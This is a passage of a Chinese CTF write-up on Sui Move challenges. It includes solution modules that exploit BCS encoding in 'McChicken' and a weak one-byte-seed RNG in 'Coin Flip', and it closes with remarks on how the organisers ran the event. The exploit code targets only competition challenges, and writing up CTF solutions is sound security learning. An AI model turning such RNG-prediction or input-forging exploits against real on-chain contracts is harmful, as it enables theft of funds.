之后我们再看server的rust代码,server先注册了一个点单的,之后点了两个单,最后请出厨师。而要拿到flag,我们要使得两个订单的served状态为true,这就要求我们要正确调用deliver_order函数。deliver_order函数需要我们传入一个订单,同时传入一项contents,要求contents通过bcs::to_bytes编码后的值和订单的原始内容相同。我们读rust代码不难读出两个订单的原始内容。但是由于bcs::to_bytes的编码,对于不定长数组之类的类型,会加上一些额外的标记(如长度或者某些tag),因此我们直接传入这些类型作为contents是让其编码后的值与我们需要的值相等的。注意到bcs::to_bytes对于定长的数据类型是会对其二进制形式直接返回的。虽然结合订单的原始内容,我猜测应该是使用题目中出现的ChickenSchnitzel,Bun之类的一堆东西的(每个用户的订单的值都含有一些商品的calories),但我觉得这么搞太麻烦了。由于bcs::to_bytes可以对我们创建的任何定长类型做二进制编码,因此我们直接大力创建一个定长类型,里面的放二进制编码和原始订单一样的一堆数字就好了。

module solution::mc_chicken_solution {

    // [*] Import dependencies
    use sui::tx_context::TxContext;
    use challenge::mc_chicken;

    struct Ord1 has copy, drop, store {
        x: u32,
        y: u32,
        z: u32,
    }
    struct Ord2 has copy, drop, store {
        x: u64,
        y: u64,
        z: u32,
    w: u16,
    }
    // [*] Public functions
    public fun solve( chef: &mut mc_chicken::ChefCapability,order1: &mut mc_chicken::Order,order2: &mut mc_chicken::Order , ctx: &mut TxContext) {
        mc_chicken::deliver_order(chef,order1,Ord1{x:44499064,y:19464206,z:7864740},ctx);
        mc_chicken::deliver_order(chef,order2,Ord2{x:83599871996854392,y:83599871988793764,z:27525540,w:120},ctx);
    }
}

Coin Flip

Sui系列比较奇妙的题。不知道做法是否预期。同时这题考验Move语法更多了。首先我们还是需要观察出solve函数使用的参数,不难发现类型是Game和Coin<SUI>(其实这题比上一题要难看出一点)。我们再结合rust代码看题目逻辑:题目会创建一场游戏,每盘需要耗费10个。用户需要先花10个调用start_game注册游戏,之后再进行12盘play_game并连胜12把,之后就可以拿到flag。而题目只会给用户130个,没有多余的。

显然,这题需要我们去研究,如何才能连胜。这要求我们去做随机数预测。由于服务器给我们传了一个Game的对象,我们尝试直接读取里面的Rng的种子值,或者通过测试来收集数据。然而由于SUI的对象安全模型,我们并不能在其他module直接读取这个对象的内容(至少我尝试了失败了,可能这写的有问题,但反正我作为萌新看不出来)。而我们也没有更多的钱去通过play_game收集信息。同时注意到Move似乎也没有EVM这种revert机制,因此我们也不能通过尝试的方法进行。

这题的随机数生成器熵源是来自于外部的,同时看起来我们没有办法获取关于随机数生成器的任何信息了,这题没法做了。但其实我们看rust代码,注意到其实熵只有一个字节,即最多256种可能。也就是说,我们随便猜一个种子,就有1/256的概率猜对。那我们就一直猜0好了,本地先生成一下看看此时的游戏结果是啥,之后直接提交,多试几遍总会对的。

而这题的另一个挑战就是,如何写代码。这道题使用了一个Coin类型,我们查文档,参考题目的代码实现不难写出如何正确地发送余额。注意到Coin类型要求不能丢弃,因此我们在函数结束时必须找个东西把他存着,不然就会报错。这块我开了一个全局的struct存着剩余的Coin。

def nex(seed):
    return ((((9223372036854775783 * ((seed)) + 999983)%(2**128)) >> 1) & 0x0000000000000000ffffffffffffffff)%(2**64)

seed=0
for i in range(20):
    seed=nex(seed)
    flip=seed&1
    print(flip)
    print(seed)
module solution::coin_flip_solution {

    // [*] Import dependencies
    use sui::tx_context::{Self, TxContext};
    use challenge::coin_flip;
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::coin::{Self, Coin};
    use sui::sui::SUI;

    struct Male has key, store {
        id: UID,
        bal: Coin<SUI>,
    }

    // [*] Public functions
    public entry fun solve(game: &mut coin_flip::Game , fee: Coin<SUI>, ctx: &mut TxContext) {
        
        let lcombo=coin_flip::get_combos(game);

        coin_flip::start_game(game,coin::split(&mut fee, 10, ctx),ctx);

        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,0,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,0,coin::split(&mut fee, 10, ctx),ctx);

        coin_flip::play_game(game,0,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);

        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,1,coin::split(&mut fee, 10, ctx),ctx);
        coin_flip::play_game(game,0,coin::split(&mut fee, 10, ctx),ctx);

        let fcombo=coin_flip::get_combos(game);

        assert!(fcombo>=12,6);

        let male=Male{
            id: object::new(ctx),
            bal: fee,
        };
        transfer::public_share_object(male);

    }

}

Web gangster

这题不是我做的。Web3比赛中出现的奇妙Web2 web题,大概是因为后面区分度太差了。等我看到队友说上了个web题的时候队友已经基本上做完了。大概是人眼和机器扫一下路径,可以看到有一个可以被用于执行任意代码的接口,然后随便用一用就好了。队友太强了!

后记

整场比赛整体体验还是不错的,有不少有意思的题。虽然整体运维不是很满意,但考虑到主办方是第一年搞,有一些缺陷也可以理解。

首先我对题目环境不太爽的一个是,远程的EVM版本居然还没有支持PUSH0,这都已经是一年前的升级了,而第一次总是很难发现这个问题。。当然这其实不能太怪主办方,最近我见的其他很多比赛都不支持PUSH0,这可能和geth写得不太好有关系。似乎在最开始写的代码里面,这个执行层升级在存在Shanghai共识层时才会被激活,而包括我本地开的geth --dev的环境也是不支持PUSH0的。不过似乎最近几个月geth吧这个问题修了。

另外就是题目管理,以及运维还是比较混乱的。比如说有题目上线之后代码和部署环境改了又改的,还有改了之后以改之前的版本为准的(还只在tg群说明了没发网站通知),以及还存在一些其他的版本管理问题。同时还有好几个题目环境经常崩。其中有两个SUI题崩得最多,原因其实我能猜出来。群里面有人说应该部署上自动重启,实际上主办方大概早都部署上了,只是重启后很快就会立刻崩掉。这主要是因为主办方的题目服务器采用的是共享实例的模式:主办方只启动了一个实例,对于选手的每次连接都会开一个新的线程,之后由这个线程执行用户的SUI代码。然而,如果选手的代码有错(只要拿不到flag就算),就会触发rust的panic,然后程序就会崩掉,所有选手的连接都被中断。在尝试Coin Flip题目的时候这个现象尤其明显:大部分时候TCP根本连不上,少部分可以连上并正常提交获得结果,还有一小部分时候可以连上并发送,但是发了一半TCP就断了。这很符合我的猜测。当然解决这个问题其实也不难,有两种思路:一个是让程序别崩,发生错误后直接把这个线程搞掉就行了;另外一个就是对于每个连接的用户我们都单独开一个运行实例,整个xinetd就行了。

另外虽然我说题目体验还行,但是由于整场比赛几乎没有以防AK为目的的毒瘤题(也没有KoH这种东西),因此最后上面几位都几乎AK了,区分度比较小,到后面就成了手速场了。

最后,能拿到这个成绩要大力感谢两位不知名队友。队友在全场比赛中也大力输出,在好几道题中也大量讨论,贡献了不少思路。

明年一定再来。

日期: 2023-09-17

标签: CTF